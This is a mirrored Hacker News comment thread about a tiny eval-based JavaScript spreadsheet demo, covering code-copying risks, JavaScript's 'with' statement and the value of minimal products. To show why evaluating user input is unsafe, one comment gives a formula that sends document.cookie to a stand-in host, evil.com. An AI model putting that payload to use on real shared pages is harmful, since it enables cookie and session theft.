Live data from Hacker News

A spreadsheet in fewer than 30 lines of JavaScript, no library used

jsfiddle.net

151–160 of 274 posts

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#152
post #132
post #119

Earlier quoted context omitted.

I'm not sure it's possible to steal your own identity.

I'd place a bet that someone will copy that code without understanding the risks involved, and then will hack together the ability to load and save data, and then complete the puzzle by enabling you to share it. Voila. People copy code, the defaults should be safer. I know that wouldn't make it so elegant as it wouldn't fit in so few lines, but that's how you educate others on the risks and how to deal with those ris…

> I'd place a bet that someone will copy that code without understanding the risks involved, and then will hack together the ability to load and save data, and then complete the puzzle by enabling you to share it.

I'd place a bet that if this did happen, it would not be on a site that stores sensitive information. And even in the ridiculously unlikely case that it did, I would still not blame that on the Fiddle. This code is perfectly safe in the situation it's used in. The idea that minimal demos must cover every conceivable situation just seems really weird to me. Most places don't even generally require real production code to deal with out-of-scope situations. (For example, most Rails apps do not include code deal with the possibility that application_controller.rb has been replaced with malicious code even though that is a huge vulnerability if the Internet has write access to application_controller.rb. They rely on external measures to ensure that situation doesn't arise.)

> People copy code, the defaults should be safer.

There is no safer default to use here AFAIK.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#153
post #49

Awesome job! Very clever :) After seeing it working and the few clever lines of code I was really surprised. But then I though: oh, let me go back to HN and read the comments from people saying "BUT IT DOESN'T HAVE CHARTS!!!" and unfortunately comments like that are here. What is wrong with this poeple???

Apart from the fact that I think (as far as the comments that are on now) you are exaggerating quite a bit with "BUT IT DOESN'T HAVE CHARTS!!!", I also think there's no need to suggest that there's anything 'wrong' with those people.

There's the downvote button if something is really not fruitful for discussion (remember though discussion is - to a respectful extent - often enriched when people differ in their views and opinions on a subject).

I don't see why every thread on HN needs a top level comment that meta-discourages criticism.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#154
post #33

Earlier quoted context omitted.

Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed with (DATA) now that's just genius. I hate writing token parsing.

Using both 'with' and 'eval' on the same line, nice ;) Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'. Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZ…

Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare.

Consider: =document.cookie, or =document.write('http://evil.com/'+document.cookie +'">');

eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#155
post #29

My text disappears after I type it in and move on. And why do you call a table an "excel-like" app? Can it so =SUM(); can it do search and replace or the over 9000 other features of excel? No... it's a table, with a editor.

The language is javascript, not excel's, but you can do sum if you like: [A1, A2].reduce(function(a, b){ return a + b; }); You could, of course, write a sum function, and reference it wherever you like.

Ah yes, that's actually an interesting side effect of the eval strategy that I didn't realize myself yet. Nice!

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#156
post #137

Earlier quoted context omitted.

The only things that are powerful and expressive in JavaScript are bastardized beyond recognition versions of ideas from Lisp, Smalltalk and Self. You get those dynamic mechanisms that we know for 50 years now (lambda expressions and runtime method dispatch, oh wow) to be useful but without learning any lessons learned in those 50 years about how to design a coherent language based on those concepts, you just get a h…

All valid points. With the norvig example, the longer I look at it the more I like python. With this js example, the more I look at it the more I like python. Sadly, I can't really run python in the browser.

Kinda: http://www.brython.info/index.html

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#157

Earlier quoted context omitted.

All valid points. With the norvig example, the longer I look at it the more I like python. With this js example, the more I look at it the more I like python. Sadly, I can't really run python in the browser.

Kinda: http://www.brython.info/index.html

Yeah, I'm aware of this and emscripten. So far, to me, they don't look viable for DOM manipulation.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#158
post #79

The fact that you can put Javascript code which interacts with the cells is awesome. For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i" in A2 to get the sum from 0 to 10. I really like this.

You may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.

Put it in a sandboxed iframe, serve it from a separate domain, and use a very restrictive CSP?

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#159
post #33

Earlier quoted context omitted.

Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed with (DATA) now that's just genius. I hate writing token parsing.

with (context) + eval = user-space lexical environment ?

No, unfortunately. If a reference isn't found in your context object, it falls through to the ambient namespace. So say you run ...

    context = { foo: 1, bar: 2 };

    with (context) {
        foo = 2;
        bar = 3;
    }
That will probably do what you expect. But now say you run it where context is just ...

    context = { foo: 1 };

    with (context) {
        foo = 2;
        bar = 3;
    }
... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops!

In short, 'with' is pointy on both ends.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#160
post #99

Earlier quoted context omitted.

On the other hand, you are taking what appears to be a general observation and applying it to this specific instance. Sure, there are plenty of free spreadsheets available. But what about other areas? There's plenty of areas still where a well executed easy to use minimal version of a product can compete in the existing for-pay ecosystem, and as we are discussing, minimal can pay off since 20% of functionality may ta…

Y'alls be talking about different things. You're talking about "feature minimalism is a good design philosophy". The other dudes are talking about "bridging the gap between a sweet demo and a final product is a tremendous assload of work".

No, I'm specifically just saying that not everyone's "final product" is the same thing, and depending on the target market and audience, a minimal product may be worthwhile, and the economic value isn't always "close to 0", as the parent I replied to stated.

Also, I don't think that "feature minimalism is a good design philosophy" is always true, even though it may guide you well in most cases.

Post reply on HN